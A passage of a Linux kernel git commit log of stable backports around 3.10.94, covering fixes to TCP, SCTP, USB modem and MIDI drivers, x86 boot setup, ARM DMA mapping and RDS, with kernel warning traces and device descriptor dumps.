Revfy Cc: Brad Spengler Cc: Wei Yongjun Cc: Eric Dumazet Reviewed-by: Hannes Frederic Sowa Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40f19004beb82580791bd7f2635e43f0460b9f61 Author: Eric Dumazet Date: Thu Nov 26 08:18:14 2015 -0800 tcp: initialize tp->copied_seq in case of cross SYN connection [ Upstream commit 142a2e7ece8d8ac0e818eb2c91f99ca894730e2a ] Dmitry provided a syzkaller (http://github.com/google/syzkaller) generated program that triggers the WARNING at net/ipv4/tcp.c:1729 in tcp_recvmsg() : WARN_ON(tp->copied_seq != tp->rcv_nxt && !(flags & (MSG_PEEK | MSG_TRUNC))); His program is specifically attempting a Cross SYN TCP exchange, that we support (for the pleasure of hackers ?), but it looks we lack proper tcp->copied_seq initialization. Thanks again Dmitry for your report and testings. Signed-off-by: Eric Dumazet Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4524ae74f36c87525f86f471c46da9eac16b4575 Author: Eric Dumazet Date: Wed Nov 18 12:40:13 2015 -0800 tcp: md5: fix lockdep annotation [ Upstream commit 1b8e6a01e19f001e9f93b39c32387961c91ed3cc ] When a passive TCP is created, we eventually call tcp_md5_do_add() with sk pointing to the child. It is not owner by the user yet (we will add this socket into listener accept queue a bit later anyway) But we do own the spinlock, so amend the lockdep annotation to avoid following splat : [ 8451.090932] net/ipv4/tcp_ipv4.c:923 suspicious rcu_dereference_protected() usage! [ 8451.090932] [ 8451.090932] other info that might help us debug this: [ 8451.090932] [ 8451.090934] [ 8451.090934] rcu_scheduler_active = 1, debug_locks = 1 [ 8451.090936] 3 locks held by socket_sockopt_/214795: [ 8451.090936] #0: (rcu_read_lock){.+.+..}, at: [] __netif_receive_skb_core+0x151/0xe90 [ 8451.090947] #1: (rcu_read_lock){.+.+..}, at: [] ip_local_deliver_finish+0x43/0x2b0 [ 8451.090952] #2: (slock-AF_INET){+.-...}, at: [] sk_clone_lock+0x1c5/0x500 [ 8451.090958] [ 8451.090958] stack backtrace: [ 8451.090960] CPU: 7 PID: 214795 Comm: socket_sockopt_ [ 8451.091215] Call Trace: [ 8451.091216] [] dump_stack+0x55/0x76 [ 8451.091229] [] lockdep_rcu_suspicious+0xeb/0x110 [ 8451.091235] [] tcp_md5_do_add+0x1bf/0x1e0 [ 8451.091239] [] tcp_v4_syn_recv_sock+0x1f1/0x4c0 [ 8451.091242] [] ? tcp_v4_md5_hash_skb+0x167/0x190 [ 8451.091246] [] tcp_check_req+0x3c8/0x500 [ 8451.091249] [] ? tcp_v4_inbound_md5_hash+0x11e/0x190 [ 8451.091253] [] tcp_v4_rcv+0x3c0/0x9f0 [ 8451.091256] [] ? ip_local_deliver_finish+0x43/0x2b0 [ 8451.091260] [] ip_local_deliver_finish+0xb6/0x2b0 [ 8451.091263] [] ? ip_local_deliver_finish+0x43/0x2b0 [ 8451.091267] [] ip_local_deliver+0x48/0x80 [ 8451.091270] [] ip_rcv_finish+0x160/0x700 [ 8451.091273] [] ip_rcv+0x29e/0x3d0 [ 8451.091277] [] __netif_receive_skb_core+0xb47/0xe90 Fixes: a8afca0329988 ("tcp: md5: protects md5sig_info with RCU") Signed-off-by: Eric Dumazet Reported-by: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74a365158f3fcbf19426dcdcb2fcd9dd52761112 Author: Bjørn Mork Date: Wed Nov 18 21:13:07 2015 +0100 net: qmi_wwan: add XS Stick W100-2 from 4G Systems [ Upstream commit 68242a5a1e2edce39b069385cbafb82304eac0f1 ] Thomas reports " 4gsystems sells two total different LTE-surfsticks under the same name. .. The newer version of XS Stick W100 is from "omega" .. Under windows the driver switches to the same ID, and uses MI03\6 for network and MI01\6 for modem. .. echo "1c9e 9b01" > /sys/bus/usb/drivers/qmi_wwan/new_id echo "1c9e 9b01" > /sys/bus/usb-serial/drivers/option1/new_id T: Bus=01 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=1c9e ProdID=9b01 Rev=02.32 S: Manufacturer=USB Modem S: Product=USB Modem S: SerialNumber= C: #Ifs= 5 Cfg#= 1 Atr=80 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 4 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Now all important things are there: wwp0s29f7u2i3 (net), ttyUSB2 (at), cdc-wdm0 (qmi), ttyUSB1 (at) There is also ttyUSB0, but it is not usable, at least not for at. The device works well with qmi and ModemManager-NetworkManager. " Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57097001fc5c1674b4def097f9acd27c0896d3a0 Author: Neil Horman Date: Mon Nov 16 13:09:10 2015 -0500 snmp: Remove duplicate OUTMCAST stat increment [ Upstream commit 41033f029e393a64e81966cbe34d66c6cf8a2e7e ] the OUTMCAST stat is double incremented, getting bumped once in the mcast code itself, and again in the common ip output path. Remove the mcast bump, as its not needed Validated by the reporter, with good results Signed-off-by: Neil Horman Reported-by: Claus Jensen CC: Claus Jensen CC: David Miller Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afd9c80fa72b71ff715ec5ca803ded3a8f8dde4d Author: lucien Date: Thu Nov 12 13:07:07 2015 +0800 sctp: translate host order to network order when setting a hmacid [ Upstream commit ed5a377d87dc4c87fb3e1f7f698cba38cd893103 ] now sctp auth cannot work well when setting a hmacid manually, which is caused by that we didn't use the network order for hmacid, so fix it by adding the transformation in sctp_auth_ep_set_hmacs. even we set hmacid with the network order in userspace, it still can't work, because of this condition in sctp_auth_ep_set_hmacs(): if (id > SCTP_AUTH_HMAC_ID_MAX) return -EOPNOTSUPP; so this wasn't working before and thus it won't break compatibility. Fixes: 65b07e5d0d09 ("[SCTP]: API updates to suport SCTP-AUTH extensions.") Signed-off-by: Xin Long Signed-off-by: Marcelo Ricardo Leitner Acked-by: Neil Horman Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 147ccdc3e74cca6c8486a7b3f605c684b80f5d53 Author: Greg Kroah-Hartman Date: Wed Dec 9 13:43:21 2015 -0500 Linux 3.10.94 Signed-off-by: Pranav Vashi commit 284eccf457cd589077fc684f62c1dba879101cc1 Author: Clemens Ladisch Date: Sun Nov 15 22:39:08 2015 +0100 ALSA: usb-audio: work around CH345 input SysEx corruption commit a91e627e3f0ed820b11d86cdc04df38f65f33a70 upstream. One of the many faults of the QinHeng CH345 USB MIDI interface chip is that it does not handle received SysEx messages correctly -- every second event packet has a wrong code index number, which is the one from the last seen message, instead of 4. For example, the two messages "FE F0 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E F7" result in the following event packets: correct: CH345: 0F FE 00 00 0F FE 00 00 04 F0 01 02 04 F0 01 02 04 03 04 05 0F 03 04 05 04 06 07 08 04 06 07 08 04 09 0A 0B 0F 09 0A 0B 04 0C 0D 0E 04 0C 0D 0E 05 F7 00 00 05 F7 00 00 A class-compliant driver must interpret an event packet with CIN 15 as having a single data byte, so the other two bytes would be ignored. The message received by the host would then be missing two bytes out of six; in this example, "F0 01 02 03 06 07 08 09 0C 0D 0E F7". These corrupted SysEx event packages contain only data bytes, while the CH345 uses event packets with a correct CIN value only for messages with a status byte, so it is possible to distinguish between these two cases by checking for the presence of this status byte. (Other bugs in the CH345's input handling, such as the corruption resulting from running status, cannot be worked around.) Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b985634c8004d72bd31f0cb05561034b56838644 Author: Clemens Ladisch Date: Sun Nov 15 22:38:29 2015 +0100 ALSA: usb-audio: prevent CH345 multiport output SysEx corruption commit 1ca8b201309d842642f221db7f02f71c0af5be2d upstream. The CH345 USB MIDI chip has two output ports. However, they are multiplexed through one pin, and the number of ports cannot be reduced even for hardware that implements only one connector, so for those devices, data sent to either port ends up on the same hardware output. This becomes a problem when both ports are used at the same time, as longer MIDI commands (such as SysEx messages) are likely to be interrupted by messages from the other port, and thus to get lost. It would not be possible for the driver to detect how many ports the device actually has, except that in practice, _all_ devices built with the CH345 have only one port. So we can just ignore the device's descriptors, and hardcode one output port. Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf26f0d8fd02de66d6c1cce4b377d0cb7064c2b5 Author: Clemens Ladisch Date: Sun Nov 15 22:37:44 2015 +0100 ALSA: usb-audio: add packet size quirk for the Medeli DD305 commit 98d362becb6621bebdda7ed0eac7ad7ec6c37898 upstream. Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 026ef5cf45682e24ee09ae4b15aa923178c2aae6 Author: Bjørn Mork Date: Wed Nov 18 21:12:33 2015 +0100 USB: option: add XS Stick W100-2 from 4G Systems commit 638148e20c7f8f6e95017fdc13bce8549a6925e0 upstream. Thomas reports " 4gsystems sells two total different LTE-surfsticks under the same name. .. The newer version of XS Stick W100 is from "omega" .. Under windows the driver switches to the same ID, and uses MI03\6 for network and MI01\6 for modem. .. echo "1c9e 9b01" > /sys/bus/usb/drivers/qmi_wwan/new_id echo "1c9e 9b01" > /sys/bus/usb-serial/drivers/option1/new_id T: Bus=01 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=1c9e ProdID=9b01 Rev=02.32 S: Manufacturer=USB Modem S: Product=USB Modem S: SerialNumber= C: #Ifs= 5 Cfg#= 1 Atr=80 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 4 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Now all important things are there: wwp0s29f7u2i3 (net), ttyUSB2 (at), cdc-wdm0 (qmi), ttyUSB1 (at) There is also ttyUSB0, but it is not usable, at least not for at. The device works well with qmi and ModemManager-NetworkManager. " Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de57b3a9dcf7ced3105dfcb9838e03a519757aa2 Author: Aleksander Morgado Date: Wed Nov 11 19:51:40 2015 +0100 USB: serial: option: add support for Novatel MiFi USB620L commit e07af133c3e2716db25e3e1e1d9f10c2088e9c1a upstream. Also known as Verizon U620L. The device is modeswitched from 1410:9020 to 1410:9022 by selecting the 4th USB configuration: $ sudo usb_modeswitch –v 0x1410 –p 0x9020 –u 4 This configuration provides a ECM interface as well as TTYs ('Enterprise Mode' according to the U620 Linux integration guide). Signed-off-by: Aleksander Morgado Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c8a6df034bbe13bfc73c7cf330d433a7c7cf676 Author: Uwe Kleine-König Date: Fri Oct 23 09:53:50 2015 +0200 usb: musb: core: fix order of arguments to ulpi write callback commit 705e63d2b29c8bbf091119084544d353bda70393 upstream. There is a bit of a mess in the order of arguments to the ulpi write callback. There is int ulpi_write(struct ulpi *ulpi, u8 addr, u8 val) in drivers/usb/common/ulpi.c; struct usb_phy_io_ops { ... int (*write)(struct usb_phy *x, u32 val, u32 reg); } in include/linux/usb/phy.h. The callback registered by the musb driver has to comply to the latter, but up to now had "offset" first which effectively made the function broken for correct users. So flip the order and while at it also switch to the parameter names of struct usb_phy_io_ops's write. Fixes: ffb865b1e460 ("usb: musb: add ulpi access operations") Signed-off-by: Uwe Kleine-König Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e8d2beee33a35e189c266f0fd1f4632e4b68e48 Author: Jiri Slaby Date: Mon Nov 2 10:27:00 2015 +0100 usblp: do not set TASK_INTERRUPTIBLE before lock commit 19cd80a214821f4b558560ebd76bfb2c38b4f3d8 upstream. It is not permitted to set task state before lock. usblp_wwait sets the state to TASK_INTERRUPTIBLE and calls mutex_lock_interruptible. Upon return from that function, the state will be TASK_RUNNING again. This is clearly a bug and a warning is generated with LOCKDEP too: WARNING: CPU: 1 PID: 5109 at kernel/sched/core.c:7404 __might_sleep+0x7d/0x90() do not call blocking ops when !TASK_RUNNING; state=1 set at [] usblp_wwait+0xa0/0x310 [usblp] Modules linked in: ... CPU: 1 PID: 5109 Comm: captmon Tainted: G W 4.2.5-0.gef2823b-default #1 Hardware name: LENOVO 23252SG/23252SG, BIOS G2ET33WW (1.13 ) 07/24/2012 ffffffff81a4edce ffff880236ec7ba8 ffffffff81716651 0000000000000000 ffff880236ec7bf8 ffff880236ec7be8 ffffffff8106e146 0000000000000282 ffffffff81a50119 000000000000028b 0000000000000000 ffff8802dab7c508 Call Trace: ... [] warn_slowpath_fmt+0x46/0x50 [] __might_sleep+0x7d/0x90 [] mutex_lock_interruptible_nested+0x2f/0x4b0 [] usblp_wwait+0xcc/0x310 [usblp] [] usblp_write+0x72/0x350 [usblp] [] __vfs_write+0x28/0xf0 ... Commit 7f477358e2384c54b190cc3b6ce28277050a041b (usblp: Implement the ENOSPC convention) moved the set prior locking. So move it back after the lock. Signed-off-by: Jiri Slaby Fixes: 7f477358e2 ("usblp: Implement the ENOSPC convention") Acked-By: Pete Zaitcev Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b99b5ba3a8be3ca19429b6fe25eb7c2e9c144ae0 Author: Robin Murphy Date: Thu Oct 22 15:41:52 2015 +0100 arm64: Fix compat register mappings commit 5accd17d0eb523350c9ef754d655e379c9bb93b3 upstream. For reasons not entirely apparent, but now enshrined in history, the architectural mapping of AArch32 banked registers to AArch64 registers actually orders SP_ and LR_ backwards compared to the intuitive r13/r14 order, for all modes except FIQ. Fix the compat__ macros accordingly, in the hope of avoiding subtle bugs with KVM and AArch32 guests. Signed-off-by: Robin Murphy Acked-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 866d3d7b09239a696bd65e6c90d6336ed8c5eeeb Author: Mirza Krak Date: Tue Nov 10 14:59:34 2015 +0100 can: sja1000: clear interrupts on start commit 7cecd9ab80f43972c056dc068338f7bcc407b71c upstream. According to SJA1000 data sheet error-warning (EI) interrupt is not cleared by setting the controller in to reset-mode. Then if we have the following case: - system is suspended (echo mem > /sys/power/state) and SJA1000 is left in operating state - A bus error condition occurs which activates EI interrupt, system is still suspended which means EI interrupt will be not be handled nor cleared. If the above two events occur, on resume there is no way to return the SJA1000 to operating state, except to cycle power to it. By simply reading the IR register on start we will clear any previous conditions that could be present. Signed-off-by: Mirza Krak Reported-by: Christian Magnusson Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c3d39e233c5c857b30f69757a80ef01eab1e9ea Author: David Herrmann Date: Mon Sep 7 12:05:41 2015 +0200 Bluetooth: hidp: fix device disconnect on idle timeout commit 660f0fc07d21114549c1862e67e78b1cf0c90c29 upstream. The HIDP specs define an idle-timeout which automatically disconnects a device. This has always been implemented in the HIDP layer and forced a synchronous shutdown of the hidp-scheduler. This works just fine, but lacks a forced disconnect on the underlying l2cap channels. This has been broken since: commit 5205185d461d5902325e457ca80bd421127b7308 Author: David Herrmann Date: Sat Apr 6 20:28:47 2013 +0200 Bluetooth: hidp: remove old session-management The old session-management always forced an l2cap error on the ctrl/intr channels when shutting down. The new session-management skips this, as we don't want to enforce channel policy on the caller. In other words, if user-space removes an HIDP device, the underlying channels (which are *owned* and *referenced* by user-space) are still left active. User-space needs to call shutdown(2) or close(2) to release them. Unfortunately, this does not work with idle-timeouts. There is no way to signal user-space that the HIDP layer has been stopped. The API simply does not support any event-passing except for poll(2). Hence, we restore old behavior and force EUNATCH on the sockets if the HIDP layer is disconnected due to idle-timeouts (behavior of explicit disconnects remains unmodified). User-space can still call getsockopt(..., SO_ERROR, ...) ..to retrieve the EUNATCH error and clear sk_err. Hence, the channels can still be re-used (which nobody does so far, though). Therefore, the API still supports the new behavior, but with this patch it's also compatible to the old implicit channel shutdown. Reported-by: Mark Haun Reported-by: Luiz Augusto von Dentz Signed-off-by: David Herrmann Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 661fd9bc38fee260da87dadda5b6330c38d373f4 Author: Larry Finger Date: Sun Oct 18 22:14:48 2015 -0500 staging: rtl8712: Add device ID for Sitecom WLA2100 commit 1e6e63283691a2a9048a35d9c6c59cf0abd342e4 upstream. This adds the USB ID for the Sitecom WLA2100. The Windows 10 inf file was checked to verify that the addition is correct. Reported-by: Frans van de Wiel Signed-off-by: Larry Finger Cc: Frans van de Wiel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fc9c3fad12f2e6fe5ac68e112bc27bdf503fd4e Author: Dan Carpenter Date: Mon Sep 21 19:19:53 2015 +0300 mwifiex: fix mwifiex_rdeeprom_read() commit 1f9c6e1bc1ba5f8a10fcd6e99d170954d7c6d382 upstream. There were several bugs here. 1) The done label was in the wrong place so we didn't copy any information out when there was no command given. 2) We were using PAGE_SIZE as the size of the buffer instead of "PAGE_SIZE - pos". 3) snprintf() returns the number of characters that would have been printed if there were enough space. If there was not enough space (and we had fixed the memory corruption bug #2) then it would result in an information leak when we do simple_read_from_buffer(). I've changed it to use scnprintf() instead. I also removed the initialization at the start of the function, because I thought it made the code a little more clear. Fixes: 5e6e3a92b9a4 ('wireless: mwifiex: initial commit for Marvell mwifiex driver') Signed-off-by: Dan Carpenter Acked-by: Amitkumar Karwar Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02bd1cb220d7fe9ef249f79331804c4edc433b1c Author: Maxime Ripard Date: Fri Sep 25 18:09:35 2015 +0200 net: mvneta: Fix CPU_MAP registers initialisation commit 2502d0ef272da7058ef303b849a2c8dc324c2e2e upstream. The CPU_MAP register is duplicated for each CPUs at different addresses, each instance being at a different address. However, the code so far was using CONFIG_NR_CPUS to initialise the CPU_MAP registers for each registers, while the SoCs embed at most 4 CPUs. This is especially an issue with multi_v7_defconfig, where CONFIG_NR_CPUS is currently set to 16, resulting in writes to registers that are not CPU_MAP. Fixes: c5aff18204da ("net: mvneta: driver for Marvell Armada 370/XP network unit") Signed-off-by: Maxime Ripard Signed-off-by: Gregory CLEMENT Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92c33a7890ab8b184163bbc0b67ad1766a1971fe Author: Johannes Berg Date: Fri Aug 28 10:52:53 2015 +0200 mac80211: fix driver RSSI event calculations commit 8ec6d97871f37e4743678ea4a455bd59580aa0f4 upstream. The ifmgd->ave_beacon_signal value cannot be taken as is for comparisons, it must be divided by since it's represented like that for better accuracy of the EWMA calculations. This would lead to invalid driver RSSI events. Fix the used value. Fixes: 615f7b9bb1f8 ("mac80211: add driver RSSI threshold events") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db771c39d4b8c5ae7d06e72a93cb6ab5d854d449 Author: Andrew Cooper Date: Wed Jun 3 10:31:14 2015 +0100 x86/cpu: Fix SMAP check in PVOPS environments commit 581b7f158fe0383b492acd1ce3fb4e99d4e57808 upstream. There appears to be no formal statement of what pv_irq_ops.save_fl() is supposed to return precisely. Native returns the full flags, while lguest and Xen only return the Interrupt Flag, and both have comments by the implementations stating that only the Interrupt Flag is looked at. This may have been true when initially implemented, but no longer is. To make matters worse, the Xen PVOP leaves the upper bits undefined, making the BUG_ON() undefined behaviour. Experimentally, this now trips for 32bit PV guests on Broadwell hardware. The BUG_ON() is consistent for an individual build, but not consistent for all builds. It has also been a sitting timebomb since SMAP support was introduced. Use native_save_fl() instead, which will obtain an accurate view of the AC flag. Signed-off-by: Andrew Cooper Reviewed-by: David Vrabel Tested-by: Rusty Russell Cc: Rusty Russell Cc: Konrad Rzeszutek Wilk Cc: Boris Ostrovsky Cc: Cc: Xen-devel Link: http://lkml.kernel.org/r/1433323874-6927-1-git-send-email-andrew.cooper3@citrix.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e0064bf817d45cae6dc6cb8e712b7f500bc3ed5 Author: Borislav Petkov Date: Thu Nov 5 16:57:56 2015 +0100 x86/cpu: Call verify_cpu() after having entered long mode too commit 04633df0c43d710e5f696b06539c100898678235 upstream. When we get loaded by a 64-bit bootloader, kernel entry point is startup_64 in head_64.S. We don't trust any and all bootloaders because some will fiddle with CPU configuration so we go ahead and massage each CPU into sanity again. For example, some dell BIOSes have this XD disable feature which set IA32_MISC_ENABLE[34] and disable NX. This might be some dumb workaround for other OSes but Linux sure doesn't need it. A similar thing is present in the Surface 3 firmware - see https://bugzilla.kernel.org/show_bug.cgi?id=106051 - which sets this bit only on the BSP: # rdmsr -a 0x1a0 400850089 850089 850089 850089 I know, right?! There's not even an off switch in there. So fix all those cases by sanitizing the 64-bit entry point too. For that, make verify_cpu() callable in 64-bit mode also. Requested-and-debugged-by: "H. Peter Anvin" Reported-and-tested-by: Bastien Nocera Signed-off-by: Borislav Petkov Cc: Matt Fleming Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1446739076-21303-1-git-send-email-bp@alien8.de Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit daa9a41651efa38c7b49ac64ed51ab12b79584bc Author: Krzysztof Mazur Date: Fri Nov 6 14:18:36 2015 +0100 x86/setup: Fix low identity map for >= 2GB kernel range commit 68accac392d859d24adcf1be3a90e41f978bd54c upstream. The commit f5f3497cad8c extended the low identity mapping. However, if the kernel uses more than 2 GB (VMSPLIT_2G_OPT or VMSPLIT_1G memory split), the normal memory mapping is overwritten by the low identity mapping causing a crash. To avoid overwritting, limit the low identity map to cover only memory before kernel range (PAGE_OFFSET). Fixes: f5f3497cad8c "x86/setup: Extend low identity map to cover whole kernel range Signed-off-by: Krzysztof Mazur Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Laszlo Ersek Cc: Matt Fleming Cc: Paolo Bonzini Link: http://lkml.kernel.org/r/1446815916-22105-1-git-send-email-krzysiek@podlesie.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 979540f570232aeecb68bbae911cd8696fbb0b88 Author: Paolo Bonzini Date: Wed Oct 14 13:30:45 2015 +0200 x86/setup: Extend low identity map to cover whole kernel range commit f5f3497cad8c8416a74b9aaceb127908755d020a upstream. On 32-bit systems, the initial_page_table is reused by efi_call_phys_prolog as an identity map to call SetVirtualAddressMap. efi_call_phys_prolog takes care of converting the current CPU's GDT to a physical address too. For PAE kernels the identity mapping is achieved by aliasing the first PDPE for the kernel memory mapping into the first PDPE of initial_page_table. This makes the EFI stub's trick "just work". However, for non-PAE kernels there is no guarantee that the identity mapping in the initial_page_table extends as far as the GDT; in this case, accesses to the GDT will cause a page fault (which quickly becomes a triple fault). Fix this by copying the kernel mappings from swapper_pg_dir to initial_page_table twice, both at PAGE_OFFSET and at identity mapping. For some reason, this is only reproducible with QEMU's dynamic translation mode, and not for example with KVM. However, even under KVM one can clearly see that the page table is bogus: $ qemu-system-i386 -pflash OVMF.fd -M q35 vmlinuz0 -s -S -daemonize $ gdb (gdb) target remote localhost:1234 (gdb) hb *0x02858f6f Hardware assisted breakpoint 1 at 0x2858f6f (gdb) c Continuing. Breakpoint 1, 0x02858f6f in ?? () (gdb) monitor info registers ... GDT= 0724e000 000000ff IDT= fffbb000 000007ff CR0=0005003b CR2=ff896000 CR3=032b7000 CR4=00000690 ... The page directory is sane: (gdb) x/4wx 0x32b7000 0x32b7000: 0x03398063 0x03399063 0x0339a063 0x0339b063 (gdb) x/4wx 0x3398000 0x3398000: 0x00000163 0x00001163 0x00002163 0x00003163 (gdb) x/4wx 0x3399000 0x3399000: 0x00400003 0x00401003 0x00402003 0x00403003 but our particular page directory entry is empty: (gdb) x/1wx 0x32b7000 + (0x724e000 >> 22) * 4 0x32b7070: 0x00000000 [ It appears that you can skate past this issue if you don't receive any interrupts while the bogus GDT pointer is loaded, or if you avoid reloading the segment registers in general. Andy Lutomirski provides some additional insight: "AFAICT it's entirely permissible for the GDTR and/or LDT descriptor to point to unmapped memory. Any attempt to use them (segment loads, interrupts, IRET, etc) will try to access that memory as if the access came from CPL 0 and, if the access fails, will generate a valid page fault with CR2 pointing into the GDT or LDT." Up until commit 23a0d4e8fa6d ("efi: Disable interrupts around EFI calls, not in the epilog/prolog calls") interrupts were disabled around the prolog and epilog calls, and the functional GDT was re-installed before interrupts were re-enabled. Which explains why no one has hit this issue until now. ] Signed-off-by: Paolo Bonzini Reported-by: Laszlo Ersek Cc: Cc: Borislav Petkov Cc: "H. Peter Anvin" Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Andy Lutomirski Signed-off-by: Matt Fleming [ Updated changelog. ] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29ff2d242f0caa099a911ebd48c3dda1bb569fd9 Author: Florian Fainelli Date: Sat Oct 3 13:03:47 2015 -0700 ARM: orion: Fix DSA platform device after mvmdio conversion commit d836ace65ee98d7079bc3c5afdbcc0e27dca20a3 upstream. DSA expects the host_dev pointer to be the device structure associated with the MDIO bus controller driver. First commit breaking that was c3a07134e6aa ("mv643xx_eth: convert to use the Marvell Orion MDIO driver"), and then, it got completely under the radar for a while. Reported-by: Frans van de Wiel Fixes: c3a07134e6aa ("mv643xx_eth: convert to use the Marvell Orion MDIO driver") Signed-off-by: Florian Fainelli Signed-off-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26ffc95824c395b88119e2cc407fb75968efe43e Author: Marek Szyprowski Date: Fri Aug 28 09:42:09 2015 +0100 ARM: 8427/1: dma-mapping: add support for offset parameter in dma_mmap() commit 7e31210349e9e03a9a4dff31ab5f2bc83e8e84f5 upstream. IOMMU-based dma_mmap() implementation lacked proper support for offset parameter used in mmap call (it always assumed that mapping starts from offset zero). This patch adds support for offset parameter to IOMMU-based implementation. Signed-off-by: Marek Szyprowski Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 661b1b94b29ff786c7ddce96572c6dc21fbf70ef Author: Marek Szyprowski Date: Fri Aug 28 09:41:39 2015 +0100 ARM: 8426/1: dma-mapping: add missing range check in dma_mmap() commit 371f0f085f629fc0f66695f572373ca4445a67ad upstream. dma_mmap() function in IOMMU-based dma-mapping implementation lacked a check for valid range of mmap parameters (offset and buffer size), what might have caused access beyond the allocated buffer. This patch fixes this issue. Signed-off-by: Marek Szyprowski Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e734ad63d937788590980e9ae6c44b544bf3973d Author: Sasha Levin Date: Tue Sep 8 10:53:40 2015 -0400 RDS: verify the underlying transport exists before creating a connection [ Upstream commit 74e98eb085889b0d2d4908f59f6e00026063014f ] There was no verification that an underlying transport exists when creating a connection, this would cause dereferencing a NULL ptr. It might happen on sockets that weren't properly bound before attempting to send a message, which will cause a NULL ptr deref: [135546.047719] kasan: GPF could be caused by NULL-ptr deref or user memory accessgeneral protection fault: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [135546.051270] Modules linked in: [135546.051781] CPU: 4 PID: 15650 Comm: trinity-c4 Not tainted 4.2.0-next-20150902-sasha-00041-gbaa1222-dirty #2527 [135546.053217] task: ffff8800835bc000 ti: ffff8800bc708000 task.ti: ffff8800bc708000 [135546.054291] RIP: __rds_conn_create (net/rds/connection.c:194) [135546.055666] RSP: 0018:ffff8800bc70fab0 EFLAGS: 00010202 [135546.056457] RAX: dffffc0000000000 RBX: 0000000000000f2c RCX: ffff8800835bc000 [135546.057494] RDX: 0000000000000007 RSI: ffff8800835bccd8 RDI: 0000000000000038 [135546.058530] RBP: ffff8800bc70fb18 R08: 0000000000000001 R09: 0000000000000000 [135546.059556] R10: ffffed014d7a3a23 R11: ffffed014d7a3a21 R12: 0000000000000000 [135546.060614] R13: 0000000000000001 R14: ffff8801ec3d0000 R15: 0000000000000000 [135546.061668] FS: 00007faad4ffb700(0000) GS:ffff880252000000(0000) knlGS:0000000000000000 [135546.062836] CS: 0010 DS: 0000 